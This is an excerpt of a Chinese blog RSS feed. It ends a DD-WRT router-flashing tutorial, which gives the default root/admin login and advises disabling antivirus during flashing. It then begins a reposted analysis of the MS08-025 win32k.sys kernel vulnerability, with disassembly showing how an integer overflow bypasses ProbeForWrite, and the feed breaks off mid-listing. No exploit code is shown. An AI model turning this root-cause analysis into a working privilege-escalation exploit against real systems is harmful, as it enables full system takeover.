<p>　　因为固件名称下载下来的都比较长，你可以自己改名，比如，直接改为&#8220;dd&#8221;或者别的，也可以在键入TFTP命令之前输入DIR来查看一下。</p>
<p>　　接着拔下路由器电源，确认无误再插上。</p>
<p>　　看着路由器的灯，首先会是所有LAN口的灯都亮，然后只会有和你电脑连着的那个LAN口的灯亮着。</p>
<p>　　这时候你就要毫不犹豫的按下回车。然后又过一段时间，会出现传送数据成功的字样。如果你键入回车的时间晚了，在经过一段时间的等候，会给出一个出错的提示，你只要重新来过一遍就行，不会对你的路由器有影响。<br />
<br />
出现传送成功字样后，请等待至少3分钟，路由器不能断电，也不要对路由器有所操作。这时</p>
<p>　　等待3分钟以后，将电脑的IP设为自动获取。最后因该会获得一个192.168.1.&#215;&#215;&#215;的地址，网关因该是192.168.1.1。</p>
<p>　　然后打开IE，输入192.168.1.1 用户名为root 密码为admin。DD-wrt的界面就会出现了。</p>
<p>　　至此，刷新DD固件就完成了。<br />
</p>
<p>刷写固件注意事项：</p>
<p>不正确的固件刷新步骤将损坏您的路由器。<br />
请不要使用https连接来刷新或备份路由器固件。<br />
固件的刷新和升级应该以有线连接的方式来完成。<br />
利用无线连接刷新可能会由于先天的不稳定性而导致路由器损坏。<br />
请关掉您的<span class="yqlink"><a href="http://www.iask.com/n?k=%C9%B1%B6%BE%C8%ED%BC%FE" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="杀毒软件">杀毒软件</a></span>，不必要的<span class="yqlink"><a href="http://www.iask.com/n?k=%B2%A1%B6%BE" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="病毒">病毒</a></span>检测将会打断固件向路由器的上传。<br />
请关掉所有您系统中的无线适配器，以保证是通过有线网来进行固件的上传。</p>
<p>特色功能之多种网络接入方式<br />
</p>
<p>　　对于一般无线产品来说，外网接入方式的Internet连接类型主要有静态IP和PPPOE（ADSL）两种，对于不用拨号而且需要自动获得
IP地址的有线电视网络以及部分小区宽带网络来说就没有很好的解决办法了。然而经过刷新之后的DD-WRT设备却可以完成这样的工作，它支持更多的外网连
接方式，在DD-WRT管理界面的&#8220;设置-&gt;基本设置&#8221;处的Internet连接类型有多个选项。</p>
<p align="center"><br clear="all" />
<img alt="刷出无线新生活浅析无线路由DD-WRT功能(4)" src="http://image2.sina.com.cn/IT/h/2007-02-28/34aeaecbc22323fbf0749cc176f8c944.jpg" style="border: 1px solid #000000;" /><br />
DD-WRT管理界面</p>
<p>　　在DD-WRT管理界面的&#8220;设置&#8594;基本设置&#8594;Internet连接类型&#8221;中有多个选项，其中的&#8220;自动配置DHCP&#8221;适用于小区宽带网络，另外对
于企业内部网络经常要用到VPN（虚拟专用网络）来连接多个分支网络，我们可以采用&#8220;Internet连接类型&#8221;中的&#8220;PPTP&#8221;和&#8220;L2TP&#8221;，直接把
设备连接到远程VPN服务器。</p>
<p>　　通过DD-WRT的外网设置可以使外网连接更加方便，以往不能解决的小区宽带网络问题也可以轻松解决。</p>
<p>封杀BT、电驴没商量<br />
</p>
<p>　　首先声明，笔者也是狂热的BT下载爱好者，写这个功能只是出于单纯的技术角度，还希望各位看官手下留情。</p>
<p>　　高速发展的互联网带给用户极其丰富的资源，BT、电驴等P2P下载软件更是方便用户找到其想要的资源。但是这些P2P下载软件占用了大量的宽带
资源，使整个局域网的其他用户网速变慢，严重的会造成网络瘫痪。网管也为封杀BT、电驴伤透的脑筋，因为BT、电驴太不好封。封端口吧，这些软件都可以随
意改端口；封BT的tracker吧，网上tracker服务器很多封不过来；即使你封了，BT还用DHT技术，在完全不连上Tracker服务器的情况
下，也可以很好的下载。还有电驴本来不需要服务器，你封都没地方封。但是有经验的网络管理员都会在linux系统上进行封杀工作，因为linux下采用的
是比较先进的封杀技术，可以使用ipp2p或L7来封杀BT、电驴等P2P软件。</p>
<p>&nbsp;&nbsp;&nbsp; 由于DD-WRT就是一个基于linux的路由OS（也就是固件），DD-WRT也有ipp2p和L7模块，用起来比linux还方便，而且DD-WRT可以直接在WEB配置，非常直观。</p>
<p>&nbsp;&nbsp;&nbsp; 那么如何用DD-WRT封杀BT和电驴呢？</p>
<p>&nbsp;&nbsp;&nbsp; 首先，登录DD-WRT管理界面，打开&#8220;访问限制&#8221;页。</p>
<p align="center"><br clear="all" />
<img alt="刷出无线新生活浅析无线路由DD-WRT功能(5)" src="http://image2.sina.com.cn/IT/h/2007-02-28/30e24f8b2aa2d90669367b40286550f6.gif" style="border: 1px solid #000000;" /><br />
DD-WRT管理界面 访问限制页</p>
<p>&nbsp;&nbsp;&nbsp; 设置非常简单，在状态项开启这条策略，策略名可以随便取，规则选允许，日期和时间大家可以根据自己的情况设置，默认是任何时间。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(5)" src="http://image2.sina.com.cn/IT/h/2007-02-28/53fa8b968e7a0a40596ccb08a6478124.gif" style="border: 1px solid #000000;" /><br />
被封禁的服务</p>
<p>　　&#8220;被封禁的服务&#8221;这里，&#8220;捕获所有P2P协议&#8221;打钩，在下面的应用程序栏选上&#8220;bittorrent&#8221;和&#8220;edonkey&#8221;，你也可以加上&#8220;讯雷&#8220;、&#8220;KuGoo&#8221;等P2P软件，当然也可以根据自己实际情况自定义一些。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(5)" src="http://image2.sina.com.cn/IT/h/2007-02-28/8e7537940caa1d7aa21ede6fb7baf9d1.gif" style="border: 1px solid #000000;" /><br />
PC列表</p>
<p>&nbsp;&nbsp;&nbsp;
在PC列表页里编辑此策略应用的PC列表，如果你想对局域网机器全封，就在PC的IP范围里填入2~254,这样别人不管怎么改IP都不能BT、电驴；如
果你想就你一台不受限，比如你的IP是192.168.1.2,那就填入3~254；如果你就想封几台机器可以在&#8220;PC的IP地址&#8221;或&#8220;PC的MAC地址
&#8221;栏输入相应的IP或MAC地址。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(5)" src="http://image2.sina.com.cn/IT/h/2007-02-28/c4c6868f1ff68f8c6fa09aaab13c7d77.gif" style="border: 1px solid #000000;" /><br />
通过URL地址封锁Web站点</p>
<p>&nbsp;&nbsp;&nbsp;
如果你想禁止用户对BT、电驴站点的访问，可以在&#8220;通过URL地址封锁Web站点&#8221;填入BT、电驴的站点，还可以在&#8220;通过关键字封锁Web站点&#8221;填入关键
字来封锁带关键字的域名（同时封锁用户用引擎搜索这个关键字）,不要填入BT这个关键字哦，这个关键字太短，这样会使很多与BT不相关的但域名带BT这两
个字符的网站也同时被封锁。</p>
<p>新功能之DHCP转发<br />
</p>
<p>　　当企业内部拥有多台无线路由器，而提供给客户机的DHCP服务器却只有一台时，客户机要向DHCP服务器申请IP地址等网络参数就需要穿越多台
无线路由器，这对于其他无线路由器是不可能实现的，而DD-WRT则不同，DD-WRT所拥有的&#8220;DHCP转发&#8221;功能就能够&#8220;穿越&#8221;无线路由器。设置
DHCP转发参数是非常简单的，只需要指定转发到的DHCP服务器地址即可。</p>
<p>　　首先，在地址栏里输入DD-WRT的管理IP地址，回车，进入管理界面。</p>
<p align="center"><br clear="all" />
<img alt="刷出无线新生活浅析无线路由DD-WRT功能(6)" src="http://image2.sina.com.cn/IT/h/2007-02-28/a8dc42b43982ffff50839855241cd5c9.jpg" style="border: 1px solid #000000;" /><br />
DD-WRT管理界面</p>
<p>　　然后，点任何设置修改标签时会出现用户认证的提示，输入正确的管理员帐户名和密码后登录。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(6)" src="http://image2.sina.com.cn/IT/h/2007-02-28/2ab03e59e876f9410381fc0ff4dadcdb.jpg" style="border: 1px solid #000000;" /><br />
登录界面</p>
<p>　　之后，在设置标签的&#8220;基本设置&#8221;中我们能够看到关于&#8220;网络地址服务器设置（DHCP）&#8221;的配置参数，一般我们都是选择DHCP服务器，然后设置
相应的地址信息即可。不过由于我们需要添加DHCP转发功能，所以在DHCP类型处通过下拉菜单选定&#8220;DHCP转发器&#8221;，并指定IP地址等参数即可。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(6)" src="http://image2.sina.com.cn/IT/h/2007-02-28/94143464f0a816c5f6414746b55c5a08.jpg" style="border: 1px solid #000000;" /><br />
基本设置界面</p>
<p>　　最后点&#8220;保存设置&#8221;按钮完成DHCP转发功能的配置工作。</p>
<p>　　通过DHCP转发功能，我们实现了穿越无线路由器，减少了企业网络服务器的数量，可以用一台DHCP服务器管理多台在不同无线路由器下的计算机。</p>
<p>最实用功能之调节发射功率<br />
</p>
<p>　　无线网络的关键就是无线信号的强弱，如果一个无线路由器发射功率比较低，那么当安装了无线网卡的计算机与它距离稍远一点的话，无线信号就会非常虚弱甚至接收不到信号。那么怎样做才能让无线设备信号更强呢？ </p>
<p>&nbsp;&nbsp;&nbsp; 经过刷新之后DD-WRT无线路由就可以实现任意调节发射功率，这样我们就可以根据无线网卡距离DD-WRT无线路由器的远近来决定发射信号的强弱了。下面我们就和大家一起探讨一下如何来设置调节发射功率。</p>
<p>&nbsp;&nbsp;&nbsp; 首先，我们来看看默认情况下的接收情况。</p>
<p>&nbsp;&nbsp;&nbsp; 开启DD-WRT无线设备之后，用自己的无线网卡扫描网络中的无线信号就会看到SSID号为DD-WRT的无线网络信号强度为两格。</p>
<p align="center"><br clear="all" />
<img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/f6e81ef406a91c9d13453180e7821565.jpg" style="border: 1px solid #000000;" /><br />
默认情况下信号强度</p>
<p>&nbsp;&nbsp;&nbsp;
打开浏览器在地址栏处输入http://192.168.1.1（路由器默认地址），回车，输入登录用户名和密码，然后找到&#8220;无线&#8221;标签下的&#8220;高级设置
&#8221;，在Xmit功率处能够看到默认情况下，DD-WRT设备的发射功率为28mW，这个也是大多数无线设备的标准发射功率。从后面的提示可以看到我们能够
随意的修改这个发射功率，大小范围为0到251mW。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/bc0052216a034917311f98983eff72ba.jpg" style="border: 1px solid #000000;" /><br />
&#8220;高级设置&#8221;界面</p>
<p>&nbsp;&nbsp;&nbsp; 在本机打开无线信号扫描工具network stumbler，对当前的信号强度进行扫描，可以看到默认28mW的发射功率情况下无线网卡接收信号强度为-72dBm左右。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/6a2f8718720f25f46f0bce2dd74e8f92.jpg" style="border: 1px solid #000000;" /><br />
信号强度扫描</p>
<p>&nbsp;&nbsp;&nbsp; 接下来，让我们设置如何调解发射功率。<br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp; 我们可以直接在界面里，将Xmit功率调到范围之内的任意数值，截图中显示的是调到了最大的251mW。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/d668e5172167a04a4a0bf9dc77223066.jpg" style="border: 1px solid #000000;" /><br />
信号调整到251mW</p>
<p align="left">&nbsp;&nbsp;&nbsp; 再次启动network
stumbler软件对无线网络进行扫描，会发现接收到的信号强度还是有所增加的，虽然不太明显但是至少稳定在了-70dBm，而且峰值还到达过
-68dBm左右。另外在XP系统自带的信号扫描工具中我们可以看到信号强度从原来的两格变成了三格。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/326389dbcb69ce1bd86d6338d161bb80.jpg" style="border: 1px solid #000000;" /><br />
信号强度显示为三格</p>
<p align="left">　　发射功率既能增大也能减小，用户可以根据自己的实际需求来调节。</p>
<p align="left">综述</p>
<p align="left">　　以上向大家介绍了什么是DD-WRT，如何给无线路由刷DD-WRT，以及刷新之后的DD-WRT无线路由都带来了
哪些新的功能。实际上，刷新了DD-WRT固件驱动的无线路由器功能不仅仅局限于上面介绍的这些，它还拥有很多更高级的网络管理功能，诸如开启强大的
SPI防火墙、开启NAT功能以提高网络安全性以及网络唤醒WOL功能等，不过这些功能实现和设置起来比较复杂，我们会在今后的文章中为大家介绍，本文只
是对一些基本特色功能进行了介绍。</p>
<p align="left">　　本文给大家介绍的这些功能已经足以让我们大开眼界，这也就是为什么有那么多无线设备发烧友都纷纷选择DD-WRT设
备的原因。DD-WRT适合那些对硬件和网络要求的读者，相信在今后的使用过程中，会逐渐发现它的功能真的很强大，大家可以自定义设置适合自己的实际网络
情况。</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/228304.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2008-09-11 11:01 <a href="http://www.blogjava.net/galaxyp/archive/2008/09/11/228304.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows 内核漏洞 ms08025 分析(转)</title><link>http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Mon, 14 Apr 2008 05:09:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/192731.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/04/14/192731.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/192731.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/192731.html</trackback:ping><description><![CDATA[Author:&nbsp;&nbsp;Polymorphours<br />
Email:&nbsp;&nbsp; Polymorphours@whitecell.org<br />
Homepage:<a href="http://www.whitecell.org/" target="_blank">http://www.whitecell.org</a> <br />
Date:&nbsp;&nbsp;&nbsp;&nbsp;2008-04-10<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;经内部讨论后决定公布分析成果。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;4月8号microsoft再次发布了一个系统内核的补丁(KB941693),<br />
微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密<br />
报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的<br />
系统。 攻击者可随后安装程序；查看、更改或删除数据；或者创建<br />
新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、<br />
Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全<br />
更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的<br />
输入的方式来解决此漏洞。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;从这个介绍中我们看到这个漏洞影响非常广，从2000到2008。为了<br />
能一睹这个漏洞的细节，我分析了ms08-025的补丁，发现该漏洞存在于 <br />
win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方，其<br />
中出问题的地方非常有趣，是因为溢出寄存器来绕过 ProbeForWrite <br />
函数对用户层传来的指针的检查，下面我们就从 NtUserfnOUTSTRING <br />
函数中的问题来展开我们的分析(我分析的平台是winxp sp2)<br />
<br />
.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)<br />
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6Ep<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; NtUserMessageCall(x,x,x,x,x,x,x)+61p<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxSendMessageToClient(x,x,x,x,x,x,x)-Ep<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6Dp<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxWrapCallWindowProc(x,x,x,x,x)-4Bp<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; xxxWrapCallWindowProc(x,x,x,x,x)+60p ...<br />
.text:BF86FB04<br />
.text:BF86FB04 var_24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr -24h<br />
.text:BF86FB04 var_20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr -20h<br />
.text:BF86FB04 UserBuffer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr -1Ch<br />
.text:BF86FB04 ms_exc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= CPPEH_RECORD ptr -18h<br />
.text:BF86FB04 arg_0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;8<br />
.text:BF86FB04 arg_4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;0Ch<br />
.text:BF86FB04 arg_8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;10h<br />
.text:BF86FB04 Address&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = dword ptr&nbsp;&nbsp;14h<br />
.text:BF86FB04 arg_10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr&nbsp;&nbsp;18h<br />
.text:BF86FB04 arg_14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr&nbsp;&nbsp;1Ch<br />
.text:BF86FB04 arg_18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= dword ptr&nbsp;&nbsp;20h<br />
.text:BF86FB04<br />
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES<br />
.text:BF86FB04<br />
.text:BF86FB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;14h<br />
.text:BF86FB06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push&nbsp;&nbsp;&nbsp;&nbsp;offset unk_BF98D250<br />
.text:BF86FB0B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;&nbsp;__SEH_prolog<br />
.text:BF86FB0B<br />
.text:BF86FB10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; edx, edx<br />
.text:BF86FB12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+ms_exc.disabled], edx<br />
.text:BF86FB15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; eax, [ebp+var_20]<br />
.text:BF86FB18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; ecx, 7FFFFFFFh<br />
.text:BF86FB1D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; eax, ecx<br />
.text:BF86FB1F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+arg_18]<br />
.text:BF86FB22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shl&nbsp;&nbsp;&nbsp;&nbsp; esi, 1Fh<br />
.text:BF86FB25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; or&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eax, esi<br />
.text:BF86FB27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax<br />
.text:BF86FB2A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; esi, eax<br />
.text:BF86FB2C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; esi, [ebp+arg_8]&nbsp;&nbsp;-&gt; esi = 缓冲区长度<br />
.text:BF86FB2F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; esi, ecx<br />
.text:BF86FB31&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; eax, esi<br />
.text:BF86FB33&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax<br />
.text:BF86FB36&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmp&nbsp;&nbsp;&nbsp;&nbsp; [ebp+arg_18], edx&nbsp;&nbsp;-&gt; 如果是 ansi 方式就直接进行检查，否则需要计算unicode的大小<br />
.text:BF86FB39&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jnz&nbsp;&nbsp;&nbsp;&nbsp; short loc_BF86FB47<br />
.text:BF86FB39<br />
.text:BF86FB3B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea&nbsp;&nbsp;&nbsp;&nbsp; esi, [eax+eax]&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 注意这里，问题就在这里，此时 eax = unicode字符串的长度，<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000，32位的寄存器<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;- 被溢出了，esi = 0<br />
.text:BF86FB3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; esi, eax<br />
.text:BF86FB40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; and&nbsp;&nbsp;&nbsp;&nbsp; esi, ecx<br />
.text:BF86FB42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor&nbsp;&nbsp;&nbsp;&nbsp; eax, esi<br />
.text:BF86FB44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;&nbsp;&nbsp; [ebp+var_20], eax -&gt; 保存unicode占用的空间大小<br />
.text:BF86FB44<br />
.text:BF86FB47<br />
